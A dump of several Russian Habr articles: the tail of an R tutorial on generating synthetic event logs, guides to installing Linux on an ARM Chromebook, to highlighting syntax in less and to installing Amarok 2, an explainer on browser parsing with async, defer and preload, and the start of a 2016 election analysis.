.[order(bo_idx), .(pattern = stri_c(events, collapse = "-")), by = case_id]
toc()
```
**Сохраним набор трейсов**
```
unique(t_dt[, .(pattern)]) %>%
write_csv(here::here("data", "model_traces.csv"))
```
Разворачиваем в событийный лог. Важный момент — чтобы лог был правдоподобным, расчет событий должен вестись сверху вниз, от транзакции к событию. Перекосы случайных распределений исправляем гильотиной в конце. Создаем записи с запасом, все кривые потом просто отбрасываем.
**Разворачиваем в событийный лог**
```
# Важное допущение -- нет параллельных операций, все выполняется строго последовательно
tic("Generate events")
# транзакции идут одна за другой, в параллель ничего не исполняется
# для упрощения задачи мы сгенерируем количество записей с запасом, а потом отсечем по временнЫм границам
df2 <- t_dt %>%
# для каждой транзакции случайным образом сгенерируем общую попугайную длительность
.[, norm_duration := rnorm_trng(.N, mean = 1, sd = .5, parallelGrain = 1000L)] %>%
# отбрасываем все транзакции, которые имеют слишком малую длительность или > таймаута
# таймаут устанавливаем равным 1.2 условных попугая
.[norm_duration %between% c(0.4, 1.2)] %>%
# назначим среднюю длительность транзакций (~ 5 секунд на действие) пропорционально числу шагов
.[, cnt := stri_count_fixed(.BY[[1]], "-"), by = pattern] %>%
.[, duration := norm_duration * 5 * cnt] %>%
as_tibble() %>%
select(-norm_duration, -cnt) %>%
# расщепляем транзакции на отдельные состояния, при этом порядок следования состояний сохраняется
separate_rows(pattern, sep = "-") %>%
rename(event = pattern)
toc()
```
**Раскидываем события по реальной временной шкале**
```
set.seed(46572)
RcppParallel::setThreadOptions(numThreads = parallel::detectCores() - 1)
tic("Generate time markers, data.table way")
# так примерно в 8-10 раз быстрее
samples_tbl <- data.table::as.data.table(df2) %>%
# делаем в два захода
# сначала просто генерируем случайные числа от 0 до 1 для каждой записи отдельно
# и масштабируем одним вектором
# в таком раскладе trng быстрее в несколько раз (может даже на порядок получиться)
# фактически, здесь мы считаем случайные соотношения времен между операциями внутри транзакции
.[, trand := runif_trng(.N, 0, 1, parallelGrain = 10000L) * duration] %>%
# делаем сортировку вектора внутри каждой сессии, простая сортировка будет ОЧЕНЬ долгой
# делаем трюк, формируем составной индекс из case_id, который является монотонным, и смещением по времени
# поскольку случайные числа генерятся в диапазоне [0, 1], мы их утаскиваем в дробную часть (за запятую)
.[, t_idx := case_id + trand / max(trand)/10] %>%
# подтягиваем в колонку сортированное значение вектора с реконструкцией
# session_id в целой части гарантирует сортировку пропорций в рамках каждой транзакции без доп. группировок
.[, tshift := (sort(t_idx) - case_id) * 10 * max(trand)] %>%
# добавим дополнительной реалистичности, между транзакциями могут быть сдвижки (-60+30 сек)
.[event == "ENTER", tshift := tshift + runif_trng(.N, -60, 30, parallelGrain = 10000L)] %>%
# удаляем весь промежуточный мусор
.[, `:=`(duration = NULL, trand = NULL, t_idx = NULL,
timestamp = as.numeric(anytime("2020-06-01 08:00:00 MSK")))] %>%
# переводим все в физическое время, начиная от 01.06.2020 (потенциально для каждого объекта отдельно)
.[, timestamp := timestamp + cumsum(tshift)] %>%
# добавим метку окончания события и длительность
.[, duration := round((shift(timestamp, type = "lead") - timestamp) *
runif_trng(.N, .2, .6, parallelGrain = 10000L), 2)] %>%
.[is.na(duration) | duration < 0, duration := 5] %>%
.[, timestamp_finish := timestamp + duration] %>%
as_tibble() %>%
mutate_at(c("timestamp", "timestamp_finish"), anytime, tz = "Europe/Moscow") %>%
select(case_id, event, timestamp, timestamp_finish, duration)
toc()
gc(full = TRUE)
plot(density(samples_tbl$duration))
```
**Взглянем на результат во временнОм представлении**
```
sample_tsbl <- as_tsibble(samples_tbl, key = case_id, index = timestamp, regular = FALSE)
sample_tsbl %>%
index_by(year_week = ~ yearweek(.)) %>% # monthly aggregates
summarise(n = n()) %T>%
print(n = 100) %>%
feasts::gg_tsdisplay()
```
**Формируем выходные представления**
```
saveProcessMap <- function(df, type){
tic(glue::glue("{type} process map"))
# https://github.com/gertjanssenswillen/processmapR/blob/master/R/process_map.R
dfg <- df %>%
mutate(activity_instance_id = dplyr::row_number()) %>%
bupaR::simple_eventlog(case_id = "case_id",
activity_id = "event",
timestamp = "timestamp",
validate = FALSE) %>%
# processmapR::process_map(type = processmapR::frequency("relative_case"))
processmapR::process_map(render = FALSE)
# прежде чем так сохранять, надо проверить наличие директории images
checkmate::assertDirectoryExists(here::here("images"))
title <- paste("Эмулированный процесс с",
ifelse(type == 'complete', 'полным', 'урезанным'),
"перечнем событий")
DiagrammeR::export_graph(
dfg,
file_name = here::here("images", glue::glue("{type}_pmap.png")),
file_type = "png",
title,
width = 2560, height = NULL
)
toc()
}
# --------------------
# Переходим к реальной жизни
# Окончательно перемешиваем данные и добавим доп. атрибуты
actors_vec <- c("Петров", "Иванов", "Петровская", "Иванова", "Сидоров", "Сидоркина", "Ивановская")
log_tbl <- samples_tbl %>%
select(case_id, timestamp, event) %>%
# здесь мы можем сэмулировать частичную потерю элементов транзакций
sample_frac(1 - .02) %>%
mutate(actor = sample(!!actors_vec, n(), replace = TRUE))
# ------- Сохраняем сгенерированный лог событий
fst::write_fst(log_tbl, here::here("data", "fuzzy_manual_log.fst"))
# ------- Сохраним полную карту процесса
saveProcessMap(samples_tbl, "complete")
# ------- Сохраним редуцированную карту процесса
saveProcessMap(log_tbl, "reduced")
```
При формировании выходных представлений не забываем, что
* нам нужны еще атрибуты какие-никакие,
* в реальной жизни иногда могут теряться части событий.
Заключение
==========
Для приведенного кода совокупным объемом ~100 строк весь цикл генерация на «офисном» ноутбуке осуществляется в пределах 30-40 секунд. Картинки процессов даже для такого тривиального конфигурационного файла выглядят очень насыщенными и информативными.
Естественно, что это быстрый прототип. Для более серьезных задач и генератор должен быть
чуть посложнее. В частности, требуется:
* поддержка параллельных процессов;
* поддержка быстрой генерации десятков гигабайт логов;
* расширенное атрибутарное наполнение по типам данных (целые числа, плавающие числа,
дата, дата-время, строка);
* расширенное атрибутарное наполнение по точкам привязки (кейс, активность, исполнитель);
* управление статистическими характеристиками генерируемых логов (число типов трейсов,
число транзакций, распределения времен и пр.);
* поддержка NA в атрибутах,
* еще что-либо...
Это будет несколько сложнее, но при определенных упрощениях можно поддержать почти все без значимой потери в функционале и без существенного усложнения.
Для поддержки параллельных процессов можно ввести понятие основного пути и параллельных веток в конфигурационном файле. Например, так:
```
path;activity;quantifier
*;ENTER;1
*;FLOOR_1|FLOOR_2|FLOOR_3;1
*;(LOOK-DROP)|(LOOK-TAKE);{1,4}
*;(COFFEE-CAKE)|(CAKE-COFFEE);{0,1}
0;(OPEN-CLOSE);{0,2}
0;(UNCOVER-COVER);{0,1}
1<<;THINK|READ;{1,2}
1;WAIT;{0,1}
2<<;THINK|READ;{1,2}
*;FLOOR_1|FLOOR_2|FLOOR_3;1
0;(OPEN-CLOSE);{0,2}
0;(UNCOVER-COVER);{0,1}
1<<;THINK|READ;{1,2}
1;WAIT;{0,1}
*;PAY|CANCEL;1
```
где `*` — основной путь, `n` — ветка `n` в идеологии split/join.
И чуть усложнить параметризацию конфиг файл самого скрипта, например, подобным образом:
```
parallel_1:
# имя входного файла с моделью бизнес-процесса
model_filename: 'process_01p.txt'
# ограничитель по количеству уникальных цепочек, отправляемых на разыменование
max_unique_traces: 100
# ограничение сверху по числу генерируемых кейсов
max_case_id: 50000
# имя выходного выходного csv лога событий
eventlog_filename: 'process_01p'
# максимальный размер выходного csv лога событий, в мегабайтах
max_log_size_Mb: 7
# средняя длительность одной активности в цепочке, в минутах
# 1440 минут = 1 сутки
average_activity_duration: 2880
# исключать в финальном логе SPLIT/JOIN
remove_split_point: TRUE
# имя файла с параметрами атрибутивного наполнения (если есть), либо пустота
attr_sample_config: 'attr_samples_default.xlsx'
# следует ли генерировать перемешанную подвыборку
generate_fuzzy_log: TRUE
# следует ли генерировать графические карты процессов
generate_process_maps: TRUE
```
Есть задел, вполне можно двигаться дальше.
И, кстати, при создании программных продуктов подобные задачки встречаются десятками. Опытный продакт не будет распылять дорогие ресурсы сеньоров на создание "продуктов-сателлитов", а воспользуется инструментами DS.
Предыдущая публикация — [«ETL в анализе данных без перерывов на кофе и курилку»](https://habr.com/ru/post/574110/).
|
https://habr.com/ru/post/578570/
| null |
ru
| null |
# Google ARM Chromebook: HOWTO Install Ubuntu/Fedora/openSUSE
Привет, %username%!
Не успел Google выпустил свой новый [хромбук](http://habrahabr.ru/post/155309/) за 249$ с двухъядерным 1.7 ГГц ARM процессором как тут же по сети стали появляться статьи про тесты его [впечатляющей производительности](http://habrahabr.ru/post/159625/) под Ubuntu, про установку на него [Fedora](http://habrahabr.ru/post/157167/) и [openSUSE](https://plus.google.com/103092666279088875227/posts/PHFSQrkDZys). Ну а я, в свою очередь, заполучив его в свои руки не смог удержаться и тоже запустил на нем GNU/Linux.
Как настроить dual-boot без потери ChromeOS читаем под хабракатом.
###### Работа основана на [посте](http://blogs.arm.com/software-enablement/848-running-linux-on-the-series-3-chromebook/) Andrew Wafaa.
#### Перед началом работы
Убедитесь что у вас есть:
* Google ARM Chromebook;
* флешка или карта памяти объемом хотя бы 8 ГБ (зависит от выбранной системы);
* компьютер под управлением Linux;
* и немного любопытства :)
#### Режим разработчика
Прежде всего, для возможности загрузки другой ОС на хромбуке, необходимо активировать [Режим разработчика](http://www.chromium.org/chromium-os/developer-information-for-chrome-os-devices/samsung-arm-chromebook#TOC-Entering-Developer-Mode). **Обращаю внимание, во время активации Режима разработчика все ваши данные будут уничтожены!** Для этого на выключенном хромбуке зажимаем одновременно кнопки Esc + Refresh и включаем его нажав Power. Далее, вызываем Recovery, в нем нажимаем Ctrl + D, подтверждаем и ждем пока закончится подготовка системы. По завершению подготовки система перезагрузится с уже активированным режимом разработчика.
#### Создание образа для восстановления (опционально)
Для его создания понадобится еще одна флешка. Чтобы начать, откройте в хромбуке специальную страницу: «chrome://imageburner» и подтвердите создание образа.
#### Скачиваем систему
Далее следует определиться с предпочтениями и загрузить один из вариантов:
* Ubuntu: Linaro [Nano](http://releases.linaro.org/latest/ubuntu/precise-images/nano/linaro-precise-nano-20121124-538.tar.gz) (минимальная версия, только консоль), [LXDE](http://releases.linaro.org/latest/ubuntu/precise-images/alip/linaro-precise-alip-20121124-519.tar.gz) вариант или [Stock Ubuntu Desktop](http://releases.linaro.org/latest/ubuntu/precise-images/ubuntu-desktop/linaro-precise-ubuntu-desktop-20121124-560.tar.gz);
* Fedora: [Console](http://download.fedoraproject.org/pub/fedora-secondary/releases/17/Images/armhfp/Fedora-17-armhfp-console.tar.xz) (минимальная версия, только консоль) или [XFCE](http://download.fedoraproject.org/pub/fedora-secondary/releases/17/Images/armhfp/Fedora-17-armhfp-xfce.tar.xz);
* openSUSE: [JeOS](http://download.opensuse.org/ports/armv7hl/distribution/12.2-untested/appliances/openSUSE-12.2-ARM-JeOS-rootfs.armv7l-1.12.1-Build1.46.1.tbz) (минимальная версия, только консоль) или [XFCE](http://download.opensuse.org/ports/armv7hl/distribution/12.2-untested/appliances/openSUSE-12.2-ARM-XFCE-rootfs.armv7l-1.12.1-Build1.46.1.tbz)
###### ⇒ Лично я выбрал Ubuntu Desktop и ставил его на SD карточку. Хотя все последующие шаги, в большинстве случаев, подходят один к одному (независимо от носителя: флешка или SD карточка) и для других дистрибутивов, либо же нуждаются в незначительных изменениях.
#### Подготовка загрузочной SD карточки
Далее следует создать два раздела используя parted и gdisk:
```
sudo parted /dev/sdX
```
создаем таблицу GPT
```
mktable gpt
```
подтверждаем (все данных с флешки будут утеряны)
```
yes
```
выходим
```
quit
```
Запускаем gdisk
```
sudo gdisk /dev/sdX
```
и задаем выравнивание секторов 4M
```
x
l
8192
m
```
Теперь создаем два раздела на нашей SD карточке (один для ядра и другой для корневого раздела):
```
n
1
+16M
7f00
n
2
w
y
```
Создаем ФС и монтируем ее:
```
sudo mkfs.ext4 /dev/sdX2
sudo mount /dev/sdX2 /mnt
```
Распаковываем выбранный ранее дистрибутив:
```
cd /mnt
sudo tar xvpf ~/Downloads/target_rootfs.tar.bz2
```
###### ⇒ Внимание! Проследите чтобы после распаковки в /mnt/ был корневой каталог вашего дистирбутива.
Обеспечение поддержки хромбука
Вставляем карточку в запущенный хромбук, убеждаемся что ChromeOS увидела два раздела, и нажимаем Ctrl + Alt + T. В открывшемся окно выполняем команду shell и попадаем в консоль хромбука. Далее запускаем следующие команды:
```
cd /media/removable/External\ Drive\ 1
sudo cp -r /lib/firmware/* lib/firmware
sudo cp -r /lib/modules/* lib/modules
sudo vi usr/share/X11/xorg.conf.d/50-touchpad.conf
>> Section "InputClass"
>> Identifier "touchpad"
>> MatchIsTouchpad "on"
>> Option "FingerHigh" "5"
>> Option "FingerLow" "5"
>> EndSection
sudo cp -r /tmp/chromeos-rootfs/usr/share/alsa/ucm/* usr/share/alsa/ucm
```
Ядро и загрузчик
```
cd /tmp
echo "console=tty1 debug verbose root=/dev/mmcblk1p2 rootwait rw" > /tmp/config
vbutil_kernel --pack /tmp/newkern --keyblock\
/usr/share/vboot/devkeys/kernel.keyblock --version 1 --signprivate\
/usr/share/vboot/devkeys/kernel_data_key.vbprivk\
--config=/tmp/config --vmlinuz /boot/vmlinuz-3.4.0 --arch arm
dd if=/tmp/newkern of=/dev/mmcblk1p1
```
Активируем возможность загрузки со сменных носителей
Для этого выполняем две следующие команды:
```
crossystem dev_boot_usb=1
cgpt add -i 1 -S 1 -T 5 -P 10 -l KERN-A /dev/mmcblk1
```
Загрузка
Теперь, проделав все вышеописанные шаги, можно загружаться во вновьподготовленную систему. Во время загрузки хромбука, когда на экране будет предупреждение о включенном Режиме разработчика, можно нажать Ctrl + U для загрузки с флешки (карточки памяти) либо Ctrl + D (или просто подождать 30 секунд) для загрузки штатной ChromeOS.
Впечатления от работы
Прежде всего стоит отметить что пока еще не все работает корретно. Например, на данный момент не реализовано аппаратное ускорение графики и есть некоторые трудности со звуком. В целом же, по моим ощущениям установка приложений и их холодный старт довольно медлительны. Но после запуска приложения работают довольно неплохо. Так были опробованы Firefox, Chromium, Libre Office. Кроме того, без сучка и задоринки установился и заработал стек приложений LAMP. Так же, помимо Unity были успешно загружены и проверены LXDE и XFCE. Последний, как по мне, куда комфортнее для работы на хромбуке.
LAMP, Chromium, Terminal:
Unity, GIMP, рекурсия
Libre Office Writer:
Дополнения
По отзывам в интернете, для включения звука в загруженном дистибутиве советуют выполнить
```
alsaucm -c DAISY-I2S
```
Но будьте осторожны, были случаи когда после манипуляций со звуком сгорали динамики хромбука!
Так же вам могут быть полезны следующие ресурсы:
* [ARM ChrUbuntu 12.04 Alpha 1 Now Available For New Chromebooks!](http://chromeos-cr48.blogspot.com/2012/10/arm-chrubuntu-1204-alpha-1-now.html)
* [Google Plus Olof Johansson — Hack your Chromebook](https://plus.google.com/109993695638569781190/posts/b2fazijJppZ)
* [Installing Fedora 17 ARM on a Samsung Google Chromebook](https://www.berrange.com/posts/2012/11/30/installing-fedora-17-arm-on-a-samsung-google-chromebook/)
|
https://habr.com/ru/post/162431/
| null |
ru
| null |
# Подсветка синтаксиса в less
Администраторы Unix-подобных ОС очень часто [пишут](http://habrahabr.ru/blogs/vim/63904/) командные сценарии для автоматизации выполнения рутинных задач, используя свой любимый тектовый редактор. Время от времени приходится открывать написанные однажды сценарии, чтобы что-то в них подсмотреть. Я это делаю с помощью less. С помощью последнего мне очень понравилось [читать раскрашенные руководства](http://habrahabr.ru/blogs/linux/65857/) и захотелось того же при обычном просмотре текста в консоли (shell-сценарий, html-документ и пр.).
Оказалось, все крайне просто. В мире open source существует [программа](http://www.gnu.org/software/src-highlite/), которая на входе принимает текст, а на выходе выдает его же, но уже подсвеченным. Достаточно установить пакет *source-highlight* и объявить пару переменных окружения командной оболочки (пример для bash):
> `echo 'export LESSOPEN="| /usr/share/source-highlight/src-hilite-lesspipe.sh %s"' >> ~/.bashrc
>
> echo "export LESS=' -R '" >> ~/.bashrc`
[См. результат](http://www.filenko.ms/images/less_syntax_hilite.png).
Другой вариант — использовать [макрос](http://habrahabr.ru/blogs/linux/77023/#comment_2240709) vim. В начале написания держал в голове, а в процессе — забыл. Спасибо, [tishka17](https://habrahabr.ru/users/tishka17/), за напоминание! :)
|
https://habr.com/ru/post/77023/
| null |
ru
| null |
# Amarok 2 RC1 вышел и есть в репозитариях.
[](http://img219.imageshack.us/my.php?image=snap1dy9.png)Собственно, это не новость, в Кубунтовском RSS это [было](http://www.kubuntu.org/news/amarok-2-rc-1) уже в понедельник, но все же… Думаю многим будет интересно.
В общем все круто, обновляться можно. Вторая версия по полной заюзала всю мощь технологий KDE4 и уже конфетка. Пока правда мало плазмоидов, ну да ладно, подождем...
Обновляться [так](http://www.kubuntu.org/news/amarok-2-rc-1):
Добавляем строчку репа в /etc/apt/sources.list:
`deb http://ppa.launchpad.net/kubuntu-members-kde4/ubuntu intrepid main`
Обновляем кеш апта:
`sudo apt-get update`
Ставим второй амарок, его установка заменит старый из KDE3:
`sudo apt-get install amarok-kde4`
UPD: По теме на Хабре: <http://habrahabr.ru/blogs/kde/45531/>
Ну а теперь, может кто спалит быстрый способ научить его виндовым тегам в MP3? ;)
|
https://habr.com/ru/post/45584/
| null |
ru
| null |
# Как быстрее DOM построить: парсинг, async, defer и preload
На сегодняшний день, джентльменский набор по ускорению сайта включает в себя всё от минификации и оптимизации файлов до кеширования, CDN, разделения кода и так называемого tree shaking. Но даже если вы не знакомы с этой терминологией, значительного ускорения можно добиться и парой ключевых слов с продуманной структурой кода.
В Firefox скоро появится новый веб стандарт `<link rel="preload">`, который позволит загружать важные ресурсы быстрее. Его уже можно опробовать в версиях Firefox Nightly и Developer Edition, а пока это прекрасный повод вспомнить основы работы браузера и глубже понять о производительности при работе с DOM.
Самое важное для веб разработчика — это понимание того, что происходит под капотом браузера. В статье, мы рассмотрим как браузер интерпретирует код страницы и как он помогает загружать их быстрее при помощи спекулятивного парсинга, а дальше разберёмся с `defer`, `async` и как можно использовать новый стандарт `preload`.
По кирпичикам
=============
HTML описывает структуру страницы. Для того, чтобы браузер смог извлечь из HTML хоть какую то пользу, его надо конвертировать в понятный браузерам формат — Document Object Model или попросту DOM. У браузера есть специальная функция парсер, позволяющая конвертировать из одного формата в другой. HTML парсер конвертирует HTML в DOM.
Связи различных элементов в HTML определяются вложенностью тегов. В DOM, эти же связи образуют древовидную структуру данных. У каждого тега HTML в DOM есть своя вершина (вершина DOM).
Шаг за шагом браузер строит DOM. Как только первые строки кода становятся доступными, браузер начинает парсить HTML, добавляя вершины в дерево.
У DOM две роли: объектная репрезентация HTML документа и в то же время DOM служит интерфейсом, связывая страницу с внешним миром, например с JavaScript. Если, например, вызвать `document.getElementById()` то функция вернёт вершину DOM. Для манипуляции с вершиной и тем как её видит пользователь у вершины есть множество функций.
CSS стили на странице отображаются в модель CSSOM — CSS Object Model. Очень похож на DOM, но для CSS, а не HTML. В отличии от DOM, CSSOM нельзя построить пошагово, т.к. стили в CSS могут переопределять друг друга. Браузеру приходится значительно потрудится чтобы применить CSS к DOM.
История тега <script>
=====================
Если при постройке DOM браузер встречает в HTML коде тег `<script>...</script>`, то он должен незамедлительно его выполнить, при этом скачав, если он из внешнего источника.
Раньше, чтобы запустить скрипт, нужно было приостановить парсинг и продолжить его только после выполнения скрипта JavaScript’ом.
Почему нужно останавливать парсинг? Скрипты могут изменять и HTML, и DOM. Структуру DOM можно изменить при помощи функции `document.createElement()`. А печально известная функция `document.write()` может менять и HTML. Дурную славу эта функция заработала тем, что она может изменить HTML, усложняя последующий парсинг. Например, с помощью этой функции можно вставить открывающий тег комментария, тем самым ломая HTML.
Скрипты также могут отправлять запросы в DOM и если это происходит во время постройки DOM, результат может оказаться непредсказуемым.
`document.write()` — функция-наследие, которая может сломать страницу самым неожиданным образом, поэтому лучше её не использовать, даже если браузеры будут её поддерживать. По этим причинам в браузерах были разработаны хитрые методы обхода проблем с производительностью, вызванных блокированием скриптов, о них чуть ниже.
А что с CSS?
============
JavaScript приостанавливает парсинг HTML, т.к. скрипты могут менять страницу. CSS не может изменить страницу, поэтому причин останавливать процесс парсинга у него нет, так?
Но что если скрипт запросит информацию о стиле элемента, который ещё не парсился? Браузер не имеет ни малейшего понятия, что будет выполняться в скрипте — в нём может оказаться запрос вершине DOM о свойстве `background-color`, зависящего от таблицы стилей, либо же может находиться прямое обращение к CSSOM
Из-за этого CSS может блокировать парсинг в зависимости от порядка подключения скриптов и стилей на странице. Если внешние таблицы стилей находятся до скриптов, то создание DOM и CSSOM может мешать друг другу. Когда парсер доходит до скрипта, постройка DOM не может продолжаться до тех пор, пока JavaScript не выполнит скрипт, а JavaScript в свою очередь не может быть запущен, пока CSS не скачается, распарится и CSSOM станет доступным.
Ещё один момент, о котором не стоит забывать. Даже если CSS не будет блокировать постройку DOM, он блокирует процесс рендеринга. Браузер ничего не покажет пока у него не будет готовых DOM и CSSOM. Это потому, что зачастую страницы без CSS непригодны для использования. Если браузер покажет кривую страницу без CSS, а потом через мгновение полную стилизованную страницу, то у пользователя возникнет когнитивный диссонанс.
*У этого явления есть название — Проблеск Неоформленного Содержания, сокращённо ПнОС [Flash of Unstyled Content или FOUC]*
Во избежание таких проблем нужно как можно быстрее предоставить CSS. Помните золотое правило «стили сверху, скрипты снизу»? Теперь вы в курсе почему это важно!
Назад в будущее. Спекулятивный парсинг
======================================
Приостанавливание парсера при каждой встрече со скриптом будет означать задержку в обработке остальных данных, подгружаемых в HTML.
Раньше, если взять несколько скриптов и изображений, подгрузив их, например, так:
```
```
Процесс парсинга выглядел бы как показано ниже:
Такое поведение изменилось в 2008 годах, когда IE представил так называемый «опережающий загрузчик» [the lookahead downloader]. С помощью него файлы подгружались в фоновом режиме прямо во время выполнения скриптов. Вскоре этот метод переняли и Firefox, Chrome с Safari, используя его под разными названиями, равно как и большинство современных браузеров. У Chrome с Safari это «предварительный анализ» [the preload scanner], а у Firefox — спекулятивный парсер. Идея вот в чём, с учётом того, что постройка DOM во время выполнения скриптов весьма рискованна, можно всё ещё парсить HTML чтобы посмотреть какие ресурсы должны быть подгружены. Затем обнаруженные файлы добавляются в очередь на загрузку и скачиваются параллельно в фоновом режиме. И к моменту завершения скрипта, необходимые файлы могут быть уже готовы к использованию.
Таким образом с применением такого метода, процесс парсинга выше, выглядел бы так:
Такой процесс называется «спекулятивным», иногда «рискованным», потому что HTML всё ещё может меняться во время выполнения скрипта (напомню про `document.write`), что может привести к работе проделанной впустую. Но несмотря что такой сценарий возможен, он крайне редок, именно поэтому спекулятивный парсинг даёт огромный прирост производительности.
В то время как другие браузеры загружают таким способом только привязанные файлы, парсер Firefox ещё и продолжает строить DOM во время выполнения скриптов. Плюс этого в том что если спекуляция прошла, то часть работы в постройке DOM уже будет проделана. А вот в случае неудачной спекуляции работы будет затрачено больше.
(Пред)загрузка
==============
При использовании такой техники загрузки можно значительно повысить скорость загрузки и никаких специальных навыков для этого не понадобится. Но если вы веб разработчик, то знание механизма спекулятивного парсинга поможет использовать его по максимуму.
Различные браузеры предзагружают различные типы ресурсов. Все основные браузеры обязательно предзагружают следующие:
* скрипты
* внешние CSS
* и изображения в теге `<img>`
Firefox так же загружает атрибут `poster` у видео элементов, в то время как Chrome и Safari загружают правила `@import` из inlined стилей.
Количество файлов, которые могут быть загружены параллельно, ограничено и варьируется от браузера к браузеру. Это ещё зависит от множество факторов, таких как скачиваются ли файлы из одного сервера или из разных, используется протокол HTTP/1.1 или HTTP/2. Чтобы отрендерить страницу как можно быстрее, браузеры используют сложные алгоритмы и скачивают ресурсы с разными приоритетами, зависящие от типа ресурса, местоположения на странице и состояния самого процесса рендеринга.
При спекулятивном парсинге, браузер не запускает inline JavaScript блоки. Это означает, что если подгружать файлы в скриптах, то они наверняка окажутся последними в очереди на загрузку.
```
var script = document.createElement('script');
script.src = "//somehost.com/widget.js";
document.getElementsByTagName('head')[0].appendChild(script);
```
Поэтому это очень важно упростить задачу браузера при загрузке важных ресурсов. Можно, например, вставить их в HTML теги или перенести скрипт загрузки в inline и как можно выше в коде страницы. Хотя иногда требуется наоборот, загрузить файлы как можно позже, т.к. они не столь важные. В таком случае, чтобы спрятать ресурс от спекулятивного парсера, его можно подключить как можно позже на странице через JavaScript. Чтобы узнать больше о том как оптимизировать страницу для спекулятивного парсера, можно пройти по ссылке [MDN руководства](https://developer.mozilla.org/ru/docs/Web/HTML/Optimizing_Your_Pages_for_Speculative_Parsing) [на русском].
defer и async
=============
Но скрипты выполняющиеся последовательно остаются проблемой. И не все скрипты действительно важны для пользователя, такие как скприпты аналитики, например. Идеи? Можно загружать их асинхронно.
Атрибуты [defer и async](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#Attributes) были придуманы специально для этого, чтобы дать возможность разработчикам указать какие скрипты можно загружать асинхронно.
Оба этих атрибута подскажут браузеру, что он может продолжить парсить HTML и в тоже время загрузить эти скрипты в фоне. При таком раскладе, скрипты не будут блокировать постройку DOM и рендеринг, в результате чего, пользователь увидит страницу ещё до того, как все скрипты загрузятся.
Разница между `defer` и `async` в том, что они начинают выполнять скрипты в разный момент времени.
`defer` появился раньше `async`. Скрипты с этим атрибутом выполняются после того, как парсинг полностью завершён, но перед событием `DOMContentLoaded`. Они гарантировано будут запущены в порядке, в котором они находятся на странице и не будут блокировать парсер.
Скрипты с `async` же будут выполнены при первой же возможности после того как будут загружены и перед событием [load](https://developer.mozilla.org/ru/docs/Web/Events/load) у `window`. Это значит, что возможно (и скорее всего наверняка) скрипты с `async` будут выполнены не в порядке их появления в HTML. Это так же значит, что они могут блокировать постройку DOM.
Где бы они не были указаны, скрипты с `async` загружаются с низким приоритетом, зачастую после всех остальных скриптов, без блокирования постройки DOM. Но если скрипт с `async` загрузится быстрее, то его выполнение может заблокировать постройку DOM и все остальные скрипты, которым только предстоит загрузиться.
*Замечание: атрибуты `async` и `defer` работают только для внешних скриптов. Без параметра `src` они будут проигнорированы.*
preload
=======
`async` и `defer` прекрасно подходят если вы не паритесь о некоторых скриптах, но что делать с ресурсами на странице, которые важны для пользователя? Спекулятивные парсеры полезны, но подходят только для горстки типов ресурсов и действуют по своей заложенной логике. В целом, нужно загружать CSS в первую очередь, потому что он блокирует рендеринг, последовательные скрипты должны всегда иметь приоритет выше чем асинхронные, видимые изображения должны быть доступны скорее и есть ещё шрифты, видео, SVG… короче говоря, всё сложно.
Как автор, вам лучше знать какие именно ресурсы важны для рендеринга страницы. Некоторые из них часто погребенны в CSS или скриптах и браузеру придётся пройти сквозь дебри пока он хотя бы до них доберётся. Для таких важных ресурсов теперь можно использовать `<link rel="preload">` чтобы подсказать браузеру загрузить файл как можно скорее.
Все что требуется написать это:
```
<link rel="preload" href="very_important.js" as="script">
```
Список того, что можно загрузить весьма велик и атрибут `as` скажет браузеру, какой именно контент он загружает. Возможные значения этого отрибута:
* script
* style
* image
* font
* audio
* video
Более подробно можно узнать из [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content#What_types_of_content_can_be_preloaded) [на английском].
Шрифты, пожалуй, самый важный элемент для загрузки, который спрятан в CSS. Шрифты необходимы для рендеринга текста на странице, но они не будут загружены пока браузер не удостоверится что именно они будут использованы. А эта проверка происходит только после парсинга и применения CSS и когда стили уже применены к вершинам DOM. Это происходит достаточно поздно в процессе загрузки страницы и как правило приводит к неоправданной задержке рендеринга текста. Этого можно избежать, использовав атрибут `preload` при загрузке шрифтов. Одна деталь на которую стоит обратить внимание при предзагрузке шрифтов, это то, что нужно устанавливать атрибут [crossorigin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS), даже если шрифт находится на том же домене.
В данное время возможности предзагрузки ограничены и браузеры только начинают применять этот метод, но за прогрессом можно следить [тут](https://caniuse.com/#search=preload).
Заключение
==========
Браузеры это сложные существа, которые эволюционируют с 90-х. Мы разобрали некоторые причуды из прошлого равно как и новейшие стандарты в веб разработке. Эти рекомендации помогут сделать сайты приятнее для пользователя.
Если вы хотите узнать больше о работе браузеров, то ниже пара статей, которые могут быть вам интересны:
→ [Quantum Up Close: What is a browser engine?](https://hacks.mozilla.org/2017/05/quantum-up-close-what-is-a-browser-engine/)
→ [Inside a super fast CSS engine: Quantum CSS (aka Stylo)](https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/) ([на хабре](https://habrahabr.ru/post/336722/))
|
https://habr.com/ru/post/338840/
| null |
ru
| null |
# Выборы-2016. Часть 1 — результаты и сравнения
В сентябре прошли выборы в Госдуму РФ VII созыва. При голосовании вся территория России была разделена на 225 округов. В каких округах каждая из партий получила высокие (или низкие) результаты? Какие значения принимала явка избирателей и как она влияла на результаты партий? Ответы на эти вопросы и ряд других наблюдений представлены в этой публикации.
### Об избирательных округах
Выборы в Госдуму в 2016 проводились по смешанной системе — 225 мест в парламенте распределялись по партийным спискам, остальные 225 мест по одномандатным округам. Далее всюду будет идти речь о пропорциональной (по партийным спискам) составляющей голосования. Границы избирательных округов были определены Центризбиркомом. Любопытно, что использовалась так называемая "лепестковая" модель (или джерримендеринг) формирования округов, с целью совмещения в одном округе городского и сельского населения. Этот способ задания округов может оказывать влияние на итоговые результаты только в мажоритарной, но не пропорциональной, составляющей выборов.
### Источники данных
